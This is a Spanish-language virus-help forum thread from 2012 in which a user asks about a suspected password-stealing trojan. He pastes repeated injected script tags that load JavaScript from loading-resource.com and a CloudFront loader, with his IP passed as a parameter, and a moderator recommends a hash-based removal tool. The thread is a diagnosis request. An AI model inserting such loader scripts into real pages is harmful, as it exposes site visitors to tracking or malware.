Ayuda Virus en mi pc roba contraseñas

Cerrado
yimycol
Mensajes: 4
Registrado: 26 Mar 2012, 22:25

Ayuda Virus en mi pc roba contraseñas

Mensaje por yimycol » 26 Mar 2012, 22:37

Hola buenas, lo primero un saludo a todos los participantes de este foro.



Mi caso es que en un foro de excel que participo cada vez que posteo sale mi ip,me puse en contacto con los administradores de foro y me dicen que tengo un virus en mi pc para robar contraseñas un troyano, en el foro cada vez que posteo sale este ecript



<script type="text/javascript" src="http://loading-resource.com/50.js.php?i=%7BAFB40BCB-D3CD-4DC7-89E8-7443815D4453%7D"></script><script type="text/javascript" src="https://d3pzomt0ul12fo.cloudfront.net/items/loaders/loader_1032.js?aoi=1311798366&pid=1032&zoneid=10368&cid=ES&rid=29&ccid=Fuexxxx&ip=87.219.xxx.xxx"></script>





por otro lado por correo me dicen esto:



Te comento los dos mensajes que tenemos pendientes en este. Puedes comprobar que se trata de un virus en esta página especialista en troyanos http://threatcenter.crdf.fr/?More&ID=45226&D=CRDF.Malware.Win32.PEx.C.91292902300 , si buscas dentro de ella veras que aparece la dirección "loading-resource.com" como causante DNS, que es la que se incluye en el script que nos trae de cabeza, dirección que es totalmente ajena a Todoexpertos. La mayoría de antivirus comerciales no detectan estos tipos virus, tendrás que buscar información en foros para saber como borrarlo.



Lamentablemante nosotros no tenemos conocimientos de eliminación de troyanos por lo que no sabemos decirte mucho, no obstante si podemos ayudar en algo más no dudes en contactar.



un saludo.

Avatar de Usuario
msc hotline sat
Mensajes: 93500
Registrado: 09 Mar 2004, 20:39
Ubicación: BARCELONA (ESPAÑA)
Contactar:

Re: Ayuda Virus en mi pc roba contraseñas

Mensaje por msc hotline sat » 27 Mar 2012, 07:16

Pues a la vista de la informacion al respecto, vemos que se puede identificar al supuesto troyano por su MD5 : a04333fa7fc11688f3068ca8bc56b689



[b]ELIMD5[/b]

http://www.zonavirus.com/descargas/descargar-elimd5.asp





Descargue el ELIMD5 e insertele la cadena en cuestion, y envienos el fichero que detecte, si es el caso y lo analizaremos:


[quote]


ENVIO DE MUESTRAS Y ELIMINACIÓN DE CLAVES



Para ello recordar[/b]:

https://foros.zonavirus.com/viewtopic.php?f=5&t=14253



Tras recibirlo/s, lo/s analizaremos e implementaremos su control y eliminación, si procede, en nuestras utilidades, de lo cual informaremos


[/quote]


saludos



ms, 27-3-2012

yimycol
Mensajes: 4
Registrado: 26 Mar 2012, 22:25

Re: Ayuda Virus en mi pc roba contraseñas

Mensaje por yimycol » 27 Mar 2012, 18:49

insertar la cadena en cuestion ???? perdon pero yo en esto soy un poco novato





un saludo.

Avatar de Usuario
msc hotline sat
Mensajes: 93500
Registrado: 09 Mar 2004, 20:39
Ubicación: BARCELONA (ESPAÑA)
Contactar:

Re: Ayuda Virus en mi pc roba contraseñas

Mensaje por msc hotline sat » 27 Mar 2012, 18:58

Sí, ejecutar el ELIMD5 y con un copiar y pegar, insertarle esta cadena:



a04333fa7fc11688f3068ca8bc56b689



saludos



ms, 27-3-2012

yimycol
Mensajes: 4
Registrado: 26 Mar 2012, 22:25

Re: Ayuda Virus en mi pc roba contraseñas

Mensaje por yimycol » 27 Mar 2012, 20:35

bueno antes de hacer nada paso a comentar este tema que acabo de comprobar:



si se me olvido comentar el tema tengo el NOD32 V5 con su actualizador de firmas,el cual le he pasado 2 veces y eliminado todo aquello sospechoso,pero segun estos individuos de la web,me dicen que los antivirus convencionales no sirven para estos troyanos ????? jod.... con lo tranquilo que estaba yo con mi nod32 jajajajaja

por otro lado me dicen que me baje estos malwarebytes,tdsskiller



Bueno comento este otro tema del supuesto troyano que tengo en mi pc,como todo esto no me acaba de convencer mucho,con otro pc portatil que no uso a penas, me he conectado por wifi a otra red o sea otra ip,entro en la web dichosa y me sale de nuevo este escript :



<script type="text/javascript" src="http://loading-resource.com/50.js.php?i=%7BAFB40BCB-D3CD-4DC7-89E8-7443815D4453%7D"></script><script type="text/javascript" src="https://d3pzomt0ul12fo.cloudfront.net/items/loaders/loader_1032.js?aoi=1311798366&pid=1032&zoneid=10368&cid=ES&rid=29&ccid=Fuxxxxxxxxxxx&ip=87.xxxxxxxxxxxx"></script>



<script type="text/javascript" src="http://loading-resource.com/50.js.php?i=%7BAFB40BCB-D3CD-4DC7-89E8-7443815D4453%7D"></script><script type="text/javascript" src="https://d3pzomt0ul12fo.cloudfront.net/items/loaders/loader_1032.js?aoi=1311798366&pid=1032&zoneid=10368&cid=ES&rid=29&ccid=Fuxxxxxxxxxxxx&ip=87.xxxxxxxxxxxx"></script>



<script type="text/javascript" src="http://loading-resource.com/50.js.php?i=%7BAFB40BCB-D3CD-4DC7-89E8-7443815D4453%7D"></script><script type="text/javascript" src="https://d3pzomt0ul12fo.cloudfront.net/items/loaders/loader_1032.js?aoi=1311798366&pid=1032&zoneid=10368&cid=ES&rid=29&ccid=Fuexxxxxxxxxx&ip=87.xxxxxxxxxxx"></script>



<script type="text/javascript" src="http://loading-resource.com/50.js.php?i=%7BAFB40BCB-D3CD-4DC7-89E8-7443815D4453%7D"></script><script type="text/javascript" src="https://d3pzomt0ul12fo.cloudfront.net/items/loaders/loader_1032.js?aoi=1311798366&pid=1032&zoneid=10368&cid=ES&rid=29&ccid=Fuexxxxxxx&ip=87.xxxxxxxxxxx"></script>



<script type="text/javascript" src="http://loading-resource.com/50.js.php?i=%7BAFB40BCB-D3CD-4DC7-89E8-7443815D4453%7D"></script><script type="text/javascript" src="https://d3pzomt0ul12fo.cloudfront.net/items/loaders/loader_1032.js?aoi=1311798366&pid=1032&zoneid=10368&cid=ES&rid=29&ccid=Fuxxxxxxxxxxx&ip=87.xxxxxxxxxxxx"></script>



<script type="text/javascript" src="http://loading-resource.com/50.js.php?i=%7BAFB40BCB-D3CD-4DC7-89E8-7443815D4453%7D"></script><script type="text/javascript" src="https://d3pzomt0ul12fo.cloudfront.net/items/loaders/loader_1032.js?aoi=1311798366&pid=1032&zoneid=10368&cid=ES&rid=29&ccid=Fuxxxxxxxxxxxx&ip=87.xxxxxxxxxxxx"></script>



bueno no se ve la ip jejejejejeje pero es la misma que uso en mi red jejejejejejeje algo no va en este tema, tendria que reflejarse la ip a la red que me estoy conectando y por otro lado tambien tendria el troyano en el portail ????? veo que mi usuario en esta web asocia siempre la misma ip



Mi sospecha recae en la propia web creo yo ???? mira yo tengo una web que tengo un script que desde otra web puedo ver las ip,localidad,pais ect... de los usuarios que entran en mi web



un saludo.

Avatar de Usuario
msc hotline sat
Mensajes: 93500
Registrado: 09 Mar 2004, 20:39
Ubicación: BARCELONA (ESPAÑA)
Contactar:

Re: Ayuda Virus en mi pc roba contraseñas

Mensaje por msc hotline sat » 28 Mar 2012, 07:21

Pues aunque no lo detecten muchos antivirus, si es el que indican en http://threatcenter.crdf.fr/?More&ID=45226&D=CRDF.Malware.Win32.PEx.C.91292902300 como decía al principio, lo detectará con el ELIMD5 y podrá aparcarlo en C:\muestras para enviarnoslo y poder asi controlarlo.



Y siga nuestras indicaciones para el envio de la muestra para analizar, gracias:



https://foros.zonavirus.com/viewtopic.php?f=5&t=14253



saludos



ms, 28-3-2012

yimycol
Mensajes: 4
Registrado: 26 Mar 2012, 22:25

Re: Ayuda Virus en mi pc roba contraseñas

Mensaje por yimycol » 28 Mar 2012, 19:27

[quote="msc hotline sat"]Pues a la vista de la informacion al respecto, vemos que se puede identificar al supuesto troyano por su MD5 : a04333fa7fc11688f3068ca8bc56b689



[b]ELIMD5[/b]

http://www.zonavirus.com/descargas/descargar-elimd5.asp





Descargue el ELIMD5 e insertele la cadena en cuestion, y envienos el fichero que detecte, si es el caso y lo analizaremos:


[quote]


ENVIO DE MUESTRAS Y ELIMINACIÓN DE CLAVES



Para ello recordar[/b]:

https://foros.zonavirus.com/viewtopic.php?f=5&t=14253



Tras recibirlo/s, lo/s analizaremos e implementaremos su control y eliminación, si procede, en nuestras utilidades, de lo cual informaremos


[/quote]


saludos



ms, 27-3-2012[/quote]


para descargarlo me pide mandar un sms ???????



salud2.

Avatar de Usuario
msc hotline sat
Mensajes: 93500
Registrado: 09 Mar 2004, 20:39
Ubicación: BARCELONA (ESPAÑA)
Contactar:

Re: Ayuda Virus en mi pc roba contraseñas

Mensaje por msc hotline sat » 29 Mar 2012, 07:46

Pues hágalo, claro. Es para mantenimiento del servidor de descargas.



saludos



ms, 29-3-2012

viana2387
Mensajes: 1
Registrado: 04 Feb 2019, 15:28

Re: Ayuda Virus en mi pc roba contraseñas

Mensaje por viana2387 » 04 Feb 2019, 15:34

Como dice al amigo, intentalo a ver que tal te va!! En cuanto a la programacion, yo uso Javascript y me va bien. Y los que quieran empezar a programar juegos, pueden ir aprendiendo poco a poco
.
......

INTERVENIDO POR LA ADMINISTRACION DEL FORO :


DEBE HACERSE CASO A LAS NORMAS !!!

POR FAVOR, VIANA , ES UN TEMA DE HACE 7 AÑOS !!!
viewtopic.php?f=1&t=17382


Además no debes postear enlaces...
posting.php?mode=edit&f=1&p=88090


De repetirse el saltarte las Normas, serás excluida del foro...


Se cierra este Tema en consecuencia

Avatar de Usuario
msc hotline sat
Mensajes: 93500
Registrado: 09 Mar 2004, 20:39
Ubicación: BARCELONA (ESPAÑA)
Contactar:

Re: Ayuda Virus en mi pc roba contraseñas

Mensaje por msc hotline sat » 25 Abr 2019, 07:26

Tema cerrado

Cerrado

Volver a “Foro Virus - Cuentanos tu problema”